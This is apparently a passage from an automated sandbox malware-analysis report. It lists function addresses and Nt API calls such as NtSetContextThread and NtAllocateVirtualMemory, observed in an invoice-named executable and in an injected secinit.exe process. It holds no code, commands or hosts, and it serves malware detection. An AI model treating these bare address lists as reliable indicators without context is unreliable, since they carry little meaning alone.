Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03283090 NtSetValueKey,	6_2_03283090
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03283D10 NtOpenProcessToken,	6_2_03283D10
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03283D70 NtOpenThread,	6_2_03283D70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AE9240 NtCreateFile,	6_2_02AE9240
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AE93A0 NtReadFile,	6_2_02AE93A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AE9690 NtAllocateVirtualMemory,	6_2_02AE9690
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AE9490 NtDeleteFile,	6_2_02AE9490
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AE9530 NtClose,	6_2_02AE9530
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0356F980 NtSetContextThread,	6_2_0356F980

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_010FE43C	0_2_010FE43C
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_02A77ED8	0_2_02A77ED8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_02A70920	0_2_02A70920
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_02A70910	0_2_02A70910
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_02A77EC8	0_2_02A77EC8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_057691E4	0_2_057691E4
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_057691DD	0_2_057691DD
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_05769838	0_2_05769838
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070595D8	0_2_070595D8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705B080	0_2_0705B080
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07053E05	0_2_07053E05
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07055E5D	0_2_07055E5D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059A18	0_2_07059A18
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705B930	0_2_0705B930
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07054938	0_2_07054938
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070595CA	0_2_070595CA
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070595D5	0_2_070595D5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705A400	0_2_0705A400
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07055499	0_2_07055499
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070593D0	0_2_070593D0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070593DD	0_2_070593DD
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070593E0	0_2_070593E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705A3F0	0_2_0705A3F0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059158	0_2_07059158
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059165	0_2_07059165
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059168	0_2_07059168
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705B070	0_2_0705B070
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705BF00	0_2_0705BF00
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705BF10	0_2_0705BF10
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07058F38	0_2_07058F38
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07058F45	0_2_07058F45
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07058F48	0_2_07058F48
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059FA8	0_2_07059FA8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059FB5	0_2_07059FB5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059FB8	0_2_07059FB8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07055E5A	0_2_07055E5A
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07057D08	0_2_07057D08
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059C50	0_2_07059C50
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059C5D	0_2_07059C5D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059C60	0_2_07059C60
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07057CF8	0_2_07057CF8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07057B1D	0_2_07057B1D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07059A08	0_2_07059A08
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07054906	0_2_07054906
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705B921	0_2_0705B921
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070588A9	0_2_070588A9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070548A9	0_2_070548A9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070588B5	0_2_070588B5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_0705A8B2	0_2_0705A8B2
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070588B8	0_2_070588B8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070558E0	0_2_070558E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_070558ED	0_2_070558ED
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A8F48	0_2_071A8F48
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A0040	0_2_071A0040
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A4F40	0_2_071A4F40
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A2F67	0_2_071A2F67
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A46D0	0_2_071A46D0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A4B08	0_2_071A4B08
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A33E0	0_2_071A33E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A4AF8	0_2_071A4AF8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_071A0006	0_2_071A0006
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00418B63	3_2_00418B63
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0042F1F3	3_2_0042F1F3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402AE0	3_2_00402AE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004033C5	3_2_004033C5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004033D0	3_2_004033D0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004103AA	3_2_004103AA
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004103B3	3_2_004103B3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00416D5E	3_2_00416D5E
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00416D63	3_2_00416D63
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040E5C3	3_2_0040E5C3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_004105D3	3_2_004105D3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402582	3_2_00402582
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402590	3_2_00402590
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402F40	3_2_00402F40
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040E75C	3_2_0040E75C
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040276A	3_2_0040276A
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402770	3_2_00402770
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040E712	3_2_0040E712
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0040E713	3_2_0040E713
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_00402F3D	3_2_00402F3D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016C8158	3_2_016C8158
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01630100	3_2_01630100
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016DA118	3_2_016DA118
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F81CC	3_2_016F81CC
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F41A2	3_2_016F41A2
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_017001AA	3_2_017001AA
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016D2000	3_2_016D2000
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FA352	3_2_016FA352
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0164E3F0	3_2_0164E3F0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_017003E6	3_2_017003E6
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E0274	3_2_016E0274
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016C02C0	3_2_016C02C0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01640535	3_2_01640535
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01700591	3_2_01700591
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F2446	3_2_016F2446
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E4420	3_2_016E4420
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016EE4F6	3_2_016EE4F6
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01640770	3_2_01640770
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01664750	3_2_01664750
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0163C7C0	3_2_0163C7C0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0165C6E0	3_2_0165C6E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01656962	3_2_01656962
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016429A0	3_2_016429A0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0170A9A6	3_2_0170A9A6
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0164A840	3_2_0164A840
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01642840	3_2_01642840
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0166E8F0	3_2_0166E8F0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016268B8	3_2_016268B8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FAB40	3_2_016FAB40
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F6BD7	3_2_016F6BD7
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0163EA80	3_2_0163EA80
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0164AD00	3_2_0164AD00
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016DCD1F	3_2_016DCD1F
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0163ADE0	3_2_0163ADE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01658DBF	3_2_01658DBF
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01640C00	3_2_01640C00
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01630CF2	3_2_01630CF2
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E0CB5	3_2_016E0CB5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016B4F40	3_2_016B4F40
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01682F28	3_2_01682F28
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01660F30	3_2_01660F30
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E2F30	3_2_016E2F30
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0164CFE0	3_2_0164CFE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01632FC8	3_2_01632FC8
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016BEFA0	3_2_016BEFA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01640E59	3_2_01640E59
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FEE26	3_2_016FEE26
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FEEDB	3_2_016FEEDB
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01652E90	3_2_01652E90
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FCE93	3_2_016FCE93
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0167516C	3_2_0167516C
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0162F172	3_2_0162F172
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0170B16B	3_2_0170B16B
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0164B1B0	3_2_0164B1B0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F70E9	3_2_016F70E9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FF0E0	3_2_016FF0E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016EF0CC	3_2_016EF0CC
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016470C0	3_2_016470C0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0162D34C	3_2_0162D34C
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F132D	3_2_016F132D
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0168739A	3_2_0168739A
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E12ED	3_2_016E12ED
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0165B2C0	3_2_0165B2C0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016452A0	3_2_016452A0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F7571	3_2_016F7571
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_017095C3	3_2_017095C3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016DD5B0	3_2_016DD5B0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01631460	3_2_01631460
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FF43F	3_2_016FF43F
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FF7B0	3_2_016FF7B0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01685630	3_2_01685630
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F16CC	3_2_016F16CC
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01649950	3_2_01649950
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0165B950	3_2_0165B950
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016D5910	3_2_016D5910
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016AD800	3_2_016AD800
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016438E0	3_2_016438E0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FFB76	3_2_016FFB76
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016B5BF0	3_2_016B5BF0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0167DBF9	3_2_0167DBF9
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0165FB80	3_2_0165FB80
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016B3A6C	3_2_016B3A6C
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FFA49	3_2_016FFA49
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F7A46	3_2_016F7A46
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016EDAC6	3_2_016EDAC6
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016DDAAC	3_2_016DDAAC
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01685AA0	3_2_01685AA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016E1AA3	3_2_016E1AA3
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F7D73	3_2_016F7D73
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01643D40	3_2_01643D40
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016F1D5A	3_2_016F1D5A
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0165FDC0	3_2_0165FDC0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016B9C32	3_2_016B9C32
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FFCF2	3_2_016FFCF2
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FFF09	3_2_016FFF09
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01603FD2	3_2_01603FD2
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01603FD5	3_2_01603FD5
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016FFFB1	3_2_016FFFB1
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01641F92	3_2_01641F92
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01649EB0	3_2_01649EB0
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB248D	5_2_04FB248D
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB2443	5_2_04FB2443
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB2444	5_2_04FB2444
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FD2F24	5_2_04FD2F24
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB40E4	5_2_04FB40E4
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB40DB	5_2_04FB40DB
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBC894	5_2_04FBC894
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB22F4	5_2_04FB22F4
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBAA94	5_2_04FBAA94
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FBAA8F	5_2_04FBAA8F
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Code function: 5_2_04FB4304	5_2_04FB4304
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330A352	6_2_0330A352
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0325E3F0	6_2_0325E3F0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033103E6	6_2_033103E6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F0274	6_2_032F0274
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032D02C0	6_2_032D02C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03240100	6_2_03240100
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032EA118	6_2_032EA118
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032D8158	6_2_032D8158
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033041A2	6_2_033041A2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033101AA	6_2_033101AA
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033081CC	6_2_033081CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032E2000	6_2_032E2000
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03250770	6_2_03250770
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03274750	6_2_03274750
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0324C7C0	6_2_0324C7C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0326C6E0	6_2_0326C6E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03250535	6_2_03250535
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03310591	6_2_03310591
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F4420	6_2_032F4420
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03302446	6_2_03302446
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032FE4F6	6_2_032FE4F6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330AB40	6_2_0330AB40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03306BD7	6_2_03306BD7
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0324EA80	6_2_0324EA80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03266962	6_2_03266962
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032529A0	6_2_032529A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0331A9A6	6_2_0331A9A6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03252840	6_2_03252840
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0325A840	6_2_0325A840
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032368B8	6_2_032368B8
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0327E8F0	6_2_0327E8F0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03292F28	6_2_03292F28
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03270F30	6_2_03270F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F2F30	6_2_032F2F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032C4F40	6_2_032C4F40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032CEFA0	6_2_032CEFA0
